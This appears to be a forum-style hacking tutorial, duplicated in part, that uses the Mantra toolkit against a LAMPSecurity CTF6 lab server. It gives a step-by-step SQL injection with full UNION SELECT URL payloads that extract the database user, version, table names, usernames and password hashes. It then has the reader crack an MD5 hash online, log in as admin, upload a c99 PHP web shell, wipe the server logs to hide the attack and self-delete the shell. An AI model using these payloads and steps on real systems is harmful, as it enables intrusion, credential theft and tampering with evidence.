Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: Hackerlaxu1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uFMfWZckAh5mU2GS2va5gRSYVc0FVLhxSurX50TTYeXk_WyWtZ9LIvHzn9VPCQc-_ilFngeUNyYpaVbQN58EMGfLcMKWqqKJbaA7TZgKNk7v8C4xRJDYYbRziAyAZ7Tcz_61o7JjbRavke7tBlnwVpYrO2UQEbAZYjfyEqG1PGgCzb=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: Hackerlaxu2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sCUibVIDyGOC9yMaW-WljSjoQS1UIkHFh5etnYsytW4VtxEO19CPP4ScfQDGHd5Zf4bTR32xrdTqRfJwdAhs0RcM9QBczhOUFDduksoivJ6HfITwhgjJI3JNMYuru0cprZ9vXpzFrn3bz6-G3HalM9W9XPWkBMIO3N9yQCS6671BPvSQ=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: Hackerlaxu3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vfLrY1LA_RskYIJnuORUlHtrdEHXMj-t5Jx8yhLH2ER55FILcB_P_MLtdTNXgLM2eOlnht6elNoh0wMNprKmxn1AyMaQo_aFrG28xeCCNG003X2sH1GDgE7w5VKCjZEOFStcn_cqfWFQSNVf26KCFMpgpd3Ev2e815qur_Bxhm6wgpNw=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: Hackerlaxu4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vgRds_2oRtQ6qHFoha_5RCFHnlVwL7G3qCVwyz18mJ0dXwkMczGykLHsbwz1XCF5UKFvd8g69HuZQERWikNCyDSALxTFKOb4jsDsZLl0lqZvr0Quj6dQICxnW6t1rOf7jjKjh2LRZhy6Cvq55XrOBsu68ss7l1KebgGvHF7DjbghobqQ=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: Hackerlaxu6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uAjzOks_0XJuCswV9fAynkcZzUT3UxLD5ogjlulv8UqTblltzzBqC7cDN-PilblTnoQsBvNI70ggP2ESrjsi478UpiaNs33b-zc0YynXRuVFm5lVf4jXxumTOySHojBMlmV7Wn7xqOA43CZRh0foOaOrrCfui6Df5KqKffwCz8zqJ8kg=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: Hackerlaxu7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sW-viSSvqwwsg9hmou0z80_NMgRELjIViPXDe5_CJ7BMAKE8ea6_FFa6R2KygfMQRTPt1hybLebhHPQK0LyB4JWjmuRvphiouWSd_4UvHweu6ZuVl60KMWFJRh3v2k34YUnhpFHKD6v63TRU9sqBR3KrEOXybms-jZ5xzRMArjRodk=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: Hackerlaxu12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uDegDOxp4J-caILDHsqI8_030vxao_6YkupO-AXU0iAOiroqBaE47sn9N5SWMqBQQW4Ws_Bwh5HnDmMoT_iVVyMzJwZsKVQki9SPWODg0pxLlOR8qNPa2IA14c5ODhLCK7Z1g9jACdpcODOTbHfms9cL_ciT7TKbxs7teFnO0msQA3lDs=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: Hackerlaxu13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_txZexXvxyJqQYKD22OlmCVKAPtbi-M2vk11K84eiBx6IlbaOu3p__LbKPX4yOYdEwDRVGttt1uxQcKgmuJ6FMiB-TlUi96rw1TZ_IOrtb-BQTVQjx3xfnDSN6ij17u4bDMHEjPxEtn6v8ZSIhA8DZ4I1FVD26O2tRKs9qcbEzm9Bc9Bfg=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: Hackerlaxu14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v6K0btwsoLN4kPJKxrOaUNmHJOYsKrp_sWNkFUU556yQhAciqTsTxb5vG-T4OoHS_836M-hjkVF0AXJJz2VWR-Kzz6jnVy19p05qNXxngNrTM30gxMovBxJOn6U6tLehzYmrFKemrm2vHQXgBZTmCAS6tbbIvDQSV4XOqajlcITrEuPbk=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: Hackerlaxu16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u7eCEnekBEGkKyRdfBfGswmh7WpJKlbGGGDO6VctqTiNWtd5tHeLp6cGll_Dir8_irg6qD_qo1AdaOpOI6wK5P4G7v5zw0NI1-PHedfO6cmIhj8GLnoHiaoCZS9RtEOGGHL_dkDzGKCIEZmQcxyToauRmMtnWSItr3xd4ZAEYJvckRW8A=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: Hackerlaxu19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_va6vMKS0E-g63IVmyipAa2QVyJGSfD6ByxZQgl_WIqu9ELMOltdOnnlUah7Ovl71_ObWTVQkdsewMbte0Apa-cexS5GOZTwgd75MnEZgq9R-rQ_vBy1MQoMmpcMOvrGRATc1ZuHrMJZzqsw32GtBkAbJ_0cAsndQjpCWWChGnSrotYEw=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: Hackerlaxu21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u7FitdlRFw4Lgb02MFkVAjmgvD843nloBI75HKfFToZjRZmAseyoewf6ucLGtErLk5XvWSCmjn97KgHKItM9yecyVpUJNx5SypfPy0Xb4-rMykzhmHqsshhilmPXJJoVYpPt4MzNe2GS0FKSkext7PDMPASkkaEM-WowEA-kFsnKRQkM4=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: Hackerlaxu22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u6JeQR-KE5Aj5yy_mcoMfFWm2UPcsHVlPT8rwSUJ0E92UtP6cDHN_AhGU-QP1fPyBpdZLVqwwPTjrXBTRauy56g-54AGRIhMZjcwSa2NJVQK_lkmoh99RICiWLwJItT0y66SIks-D4CTWnBf4pLFv2DibXh2eEA6cfY0pH82dVU6TqBr4=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: Hackerlaxu23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sllZ_ed-TqM6Bt2CKd3A46MEoRrIPR8VBzXoH_N99myTeu10GaNoKsXfXOA0Jf8n1kmI4Y_SUtAYiva62tySFANdYsAqQ5px8pgPBM3HSg2QvhFRi8M3eUTpAjUrrUZaVdrl8twOK6oeF-JoyzyZqG8uRbVjG3MV-Fgvx0niipPcmGvQ=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: Hackerlaxu24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tLheHFDRaMaMA8j3yR6uFRwsd3sMF6e2cOpccya770nLVtyoIOBgWFXWWqrFZ0NqygAKcpRR5bCnmYdgxEXNZnSQ22-VCNyYeKEU-ScMES1YluyC_j8J_WihfwN9hrC_IHRoJZPghWOXK3i2xi0MgxOntF9c87pNyn3AAegE2lSnn3Gw=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: Hackerlaxu25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tOYJ7LKqX-Az9Ks9FU0thOiUs4yDIEG3sEVkJZxH1Jf-2_vY8lsQrzsv2MxKRIqmhsKNE1QltbEXB74RpIXI8LkXPjQ3ykctXYbyNqRTCm6uFycvl0k4Qfx3kCxsGEtup-sPgErtNcJVdIkEhL1hvpCjmIoEDQiTygL_4C9lqOlkeABQU=s0-d)
Step 17:
Lets find the user name
![[Image: Hackerlaxu27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uW5QJEdXzFHhrH-I6cVhOEezdZprYIzICNW2h3MefVxbmNtZIM6Ssfo8mEDbvmQ0wB54Wd5sARUQQaWdjcy6LRgExrP79eDHfZI01vC_C6aSp_o4VqBUtuSl2hmm-mU1r8sGS5ItT-6vNk29f1GK9PXOnzTfjcl-WlEH6VCK-BKk0Pp28=s0-d)
Step 18:
Now, what about password
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
Code:
http://192.168.132.128/Step 2:
I went through all the pages of web site and found a page with URL input
Code:
http://192.168.132.128/?id=13Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
Code:
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
Code:
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
Code:
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
Code:
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
Code:
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
Reference:
1. Infond tutorial
Happy Hacking.!!!
======================================================================
Note: This tutorial is only for
Educational Purposes, I did not take any responsibility of any misuse,
you will be solely responsible for any misuse that you do. Scanning
Server & Web Hacking is criminal activity and is punishable under
cyber crime and you may get upto 40 years of imprisonment, if got
caught in doing so.
